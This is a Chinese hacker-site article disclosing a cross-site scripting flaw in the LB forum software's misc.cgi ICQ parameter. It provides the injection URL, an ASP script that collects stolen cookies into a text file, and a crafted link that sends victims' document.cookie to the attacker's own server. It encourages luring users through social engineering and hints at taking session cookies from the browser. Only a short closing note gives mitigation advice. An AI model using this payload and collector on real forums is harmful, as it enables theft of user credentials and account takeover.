LB论坛(所有版本)跨站脚本漏洞

类别:编程语言 点击:0 评论:0 推荐:
LB论坛(所有版本)跨站脚本漏洞

作者:利客原创 文章来源:华夏黑客同盟 http://www.77169.org

熟悉LB系列论坛的朋友可能知道,LB的cookis使用方式有两种,一种是完整路径模式,还有一个就是根目录模式,所谓的完整路径模式在本地是象这样分目录储存的,如:www.target.com/cgi-bin 也就是所有在CGI-BIN目录下生成的COOKIES内容都储存在这里,我想这是作者当初考虑到一个域名下使用多个LB论坛的情况而设计的,而这个选择在达到了他本身设计目的的同时也缩小了跨站脚本的利用范围,真正稍微有难度的利用是在这种模式下的,那么为什么说在根目录模式下的这种类型漏洞的利用就显地很容易了呢? 呵呵,大家可以看一下,在现今FLASH跨站,和图片跨站盛行,而相关技术逐渐成熟的情况下,针对LB这个论坛来说,他一般有两个主目录 分别为 CGI-BIN 和 NON-CGI ,论坛几乎99%的运行文件都储存在CGI-BIN 目录下,而在NON-CGI目录下存储的几乎都是写静态页面文件,和图片,还有一部分就是用户上传的文件。根据我的观察大概80%以上的论坛是允许用户上传自己的头像或html,txt格式的以及FLASH附件的,那么假如一个论坛允许用户上传JPG ,GIF ,SWF 等格式文件,上传后一般储存在NON-CGI目录下,而论坛的COOKIES模式又是根目录模式(所谓根目录模式就是在本地,该域名下的所有COOKIES内容都保存在同一一个域名下,和上面分目录www.target.com/cgi-bin 形成对比就是根目录模式下该论坛的所有COOKIES都储存在本地www.targert.com下,两者的区别就在于后者没有指明具体的目录,也就是说在整个站的所有目录下来"alert(documents.cookie)"都是可以看到你在那个站点的所有COOKIE资料的)
那么抛去论坛本身的XSS(跨站脚本)漏洞不说 ,仅*这些精心构造的图片和FLASH文件就足以达到目了(具体如何用图片,和FLASH达到跨站目的,不是本文讨论内容,暂时不了解的朋友可以参阅相关资料)
所以本文针对的是把COOKIES模式设成完整路径模式的站点,当然设置成根目录模式的站点也一样适用。
问题出在cgi-bin目录下misc.cgi 的这个文件里,也就是论坛好友栏目的ICQ一项,提交的时候没有对UIN 这个变量做任何过滤,和UIN又会作为ICQ号码显示出来,作为正常的提交是这样的
http://www.target.com/cgi-bin/misc.cgi?action=icq&UIN=123456 123456为ICQ号码 ,而如果构造下面的提交:
http://www.target.com/cgi-bin/misc.cgi?action=icq&UIN=<;script>alert(documents.cookie)</script>那么你在论坛的cookies信息就暴露无疑了,如何利用呢,首先你要有一个接受端脚本,来接收传出去的cookies信息,当然COOKIES里面会有你想要的用户名和密码,而这个脚本要放到任何一个自己有域名的空间上,比较普遍的ASP语言的脚本是下面这样的:
在此感谢lcx:
=====================================
<%
testfile=server.mappath("cookies.txt")
msg=request("msg")
set fs=server.createobject("scripting.file *** object")
set thisfile=fs.opentextfile(testfile,8,true,0)
thisfile.writeline(""&msg&"")
thisfile.close
set fs=nothing
%>
把这段代码复制保存为XXX.asp文件。放在你自己的空间上,免费空间到处都是吧~~附带地也会给你一个不管几级的域名吧,同时支持ASP的也不少吧:)


下面我们就可以构造客户端的URL了,我们考虑的是把我们得到的COOKIES传到我们自己的空间,并通过早已放置的脚本保存在一个TXT文件里,从而得到用户信息。


要诱使用户访问的URL构造出来一般是这样的:
http://www.sohu.com/XXX.asp?msg%3d%27%2B" target=_blank>http://www.target.com/cgi-bin/misc.cgi?action=icq&UIN=%3cscript%3ewindow.location.href%3d%2http://www.sohu.com/XXX.asp?msg%3d%27%2Bdocuments.cookie%3c/script%3e
在改变TARGET的名字后,假如用户访问了这个连接,而且他又曾经选择在本地保存COOKIES那么他的COOKIES内容就会自动发往你的空间,并由你先前放置的的那个ASP文件保存为名为cookies.txt的文本文件等待你取回。这里www.sohu.com 是你自己站点放置xxx.asp的路径。 www.target.com是你希望攻击的论坛的URL。
至于怎么样让用户访问这个连接,就*你自己想了,什么社会工程学知识拉~~ 你的机智灵敏加勇敢之类的都可以用上,不过仅限于安全研究,如果用此方法破坏,本人在鄙视之余亦不承担任何法律上直接或间接的责任和损失。


看完本文可能有的朋友会问,要是用户没有选择在本地保存COOKIE怎么办,呵呵,我提示一下,无论用户是否选择保存COOKIE 在本地,他/她的COOKIES信息都是保存在当前浏览器进程里的,聪明的你想到怎么做了吗:),祝你愉快,不要破坏。
本文对于以前对XSS利用方式比较透彻的的朋友,可能只是另一个XSS漏洞,对于新手,由于本文没有从跨站脚本的成因比较透彻地讲起,可能你需要有一些相关的知识作为基础


对于所有使用LB论坛的朋友建议在官方补丁没有出来前首先删除 CGI-BIN目录下的MICE.CGI文件,同时有条件的朋友应该马上把COOKIES模式设置成为 完整路径模式,是在论坛基本变量下设置的吧。

本文地址:http://com.8s8s.com/it/it22769.htm